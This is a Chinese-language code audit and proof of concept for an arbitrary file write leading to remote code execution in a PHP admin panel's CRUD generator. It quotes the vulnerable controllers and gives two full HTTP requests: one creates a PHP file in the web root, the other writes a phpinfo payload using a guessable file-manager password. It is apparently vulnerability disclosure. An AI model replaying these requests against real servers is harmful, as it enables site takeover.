代码审计
接口:/adminapi/system/crud 处理的代码如下
public function save(SystemCrudDataService $service, $id = 0)
{
$data = $this->request->postMore([
['pid', 0],//上级菜单id
['menuName', ''],//菜单名
['tableName', ''],//表名
['modelName', ''],//模块名称
['tableComment', ''],//表备注
['tableField', []],//表字段
['tableIndex', []],//索引
['filePath', []],//生成文件位置
['isTable', 0],//是否生成表
['deleteField', []],//删除的表字段
]);
$fromField = $searchField = $hasOneField = $columnField = $tableIndex = [];
$dictionaryids = array_column($data['tableField'], 'dictionary_id');
if ($dictionaryids) {
$dictionaryList = $service->getColumn([['id', 'in', $dictionaryids]], 'value', 'id');
foreach ($dictionaryList as &$value) {
$value = is_string($value) ? json_decode($value, true) : $value;
}
} else {
$dictionaryList = [];
}
foreach ($data['tableField'] as $item) {
//判断字段长度
if (in_array($item['field_type'], [FormTypeEnum::DATE_TIME, 'timestamp', 'time', 'date', 'year']) && $item['limit'] > 6) {
return app('json')->fail('字段' . $item['field'] . '长度不能大于6');
}
if ($item['field_type'] == 'enum' && !is_array($item['limit'])) {
return app('json')->fail('数据类型为枚举时,长度为数组类型');
}
//收集列表展示数据
if ($item['is_table'] && !in_array($item['field_type'], ['primaryKey', 'addSoftDelete'])) {
if (isset($item['primaryKey']) && !$item['primaryKey']) {
$columnField[] = [
'field' => $item['field'],
'name' => $item['table_name'] ?: $item['comment'],
'type' => $item['from_type'],
];
}
}
$name = $item['table_name'] ?: $item['comment'];
$option = $item['options'] ?? (isset($item['dictionary_id']) ? ($dictionaryList[$item['dictionary_id']] ?? []) : []);
//收集表单展示数据
if ($item['from_type']) {
if (!$name) {
return app('json')->fail(500048, [], ['field' => $item['field']]);
}
if (!$option && in_array($item['from_type'], [FormTypeEnum::RADIO, FormTypeEnum::SELECT])) {
return app('json')->fail('表单类型为radio或select时,options字段不能为空');
}
$fromField[] = [
'field' => $item['field'],
'type' => $item['from_type'],
'name' => $name,
'required' => $item['required'],
'option' => $option
];
}
//搜索
if (!empty($item['search'])) {
$searchField[] = [
'field' => $item['field'],
'type' => $item['from_type'],
'name' => $name,
'search' => $item['search'],
'options' => $option
];
}
//关联
if (!empty($item['hasOne'])) {
$hasOneField[] = [
'field' => $item['field'],
'hasOne' => $item['hasOne'] ?? '',
'name' => $name,
];
}
//索引
if (!empty($item['index'])) {
$tableIndex[] = $item['field'];
}
}
if (!$fromField) {
return app('json')->fail(500046);
}
if (!$columnField) {
return app('json')->fail(500047);
}
$data['fromField'] = $fromField;
$data['tableIndex'] = $tableIndex;
$data['columnField'] = $columnField;
$data['searchField'] = $searchField;
$data['hasOneField'] = $hasOneField;
if (!$data['tableName']) {
return app('json')->fail(500042);
}
$this->services->createCrud($id, $data);
return app('json')->success(500043);
}
没有对传入参数的路径做任何过滤以及后缀的检查,导致可以在任意路径创建任意后缀的文件,因此可以再网站根目录创建一个php文件 但是内容会有默认的代码 再配合以下接口进行内容 修改(任意内容写入)
写入文件的接口 /adminapi/system/crud/save_file/:id 处理的代码如下
public function savefile(Request $request, SystemFileServices $service, $id)
{
$comment = $request->param('comment');
$filepath = $request->param('filepath');
$pwd = $request->param('pwd');
if ($pwd == '') {
return app('json')->fail('请输入文件管理密码');
}
if (config('filesystem.password') != $pwd) {
return app('json')->fail('文件管理密码错误');
}
if (empty($filepath) || !$id) {
return app('json')->fail(410087);
}
$crudInfo = $this->services->get($id, ['make_path']);
if (!$crudInfo) {
return app('json')->fail('修改的CRUD文件不存在');
}
$makeFilepath = '';
foreach ($crudInfo->make_path as $key => $item) {
$path = $item;
if (in_array($key, ['pages', 'router', 'api'])) {
$item = Make::adminTemplatePath() . $item;
} else {
$item = app()->getRootPath() . $item;
}
if ($filepath == $path) {
$makeFilepath = $item;
break;
}
}
if (!$makeFilepath || !in_array($filepath, $crudInfo->make_path)) {
return app('json')->fail('您没有权限修改此文件');
}
$res = $service->savefile($makeFilepath, $comment);
if ($res) {
return app('json')->success(100000);
} else {
return app('json')->fail(100006);
}
}
可以看到也没有任何过滤导致可以向任意路径的文件写入任意内容 前提是知道密码config('filesystem.password') 由于没有限制密码输入 次数导致可以爆破
两个接口配合即可写入任意代码导致
RCE
漏洞复现
首先调用如下接口 在controller处填写路径为public\\Aa.php 之后便会在程序根目录创建Aa.php
POST /adminapi/system/crud HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 919
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close
{"pid":7,"tableName":"aa","modelName":"aa","isTable":1,"menuName":"aa","filePath":{"controller":"public\\Aa.php","model":"app\\model\\crud\\Aa.php","dao":"app\\dao\\crud\\AaDao.php","route":"app\\adminapi\\route\\crud\\aa.php","service":"app\\services\\crud\\AaServices.php","validate":"app\\adminapi\\validate\\crud\\AaValidate.php","router":"router\\modules\\crud\\aa.js","api":"api\\crud\\aa.js","pages":"pages\\crud\\aa\\index.vue"},"tableField":[{"field":"id","field_type":"int","default":"","comment":"自增ID","required":false,"is_table":true,"table_name":"ID","limit":"15","primaryKey":1,"from_type":""},{"field":"aa","field_type":"varchar","default":"aa","default_type":"1","comment":"aa","required":true,"is_table":true,"table_name":"aa","limit":200,"primaryKey":0,"from_type":"dateTime","search":"=","dictionary_id":0,"hasOne":["agent_level","name"],"index":true}],"deleteField":[]}
查看目录创建成功 并且会自动填充一些代码
再点击查看代码
在文件管理密码已知的情况下这里为123456(可以爆破) 调用以下数据包
POST /adminapi/system/crud/save_file/5 HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 78
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation_list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close
{"filepath":"public\\Aa.php","comment":"<?php\nphpinfo();\n?>","pwd":"123456"}
成功写入内容
尝试访问 http://192.168.242.142:89/Aa.php
这只是写入的phpinfo 进行无危害验证 可以写入其他内容进行RCE 而且是在根目录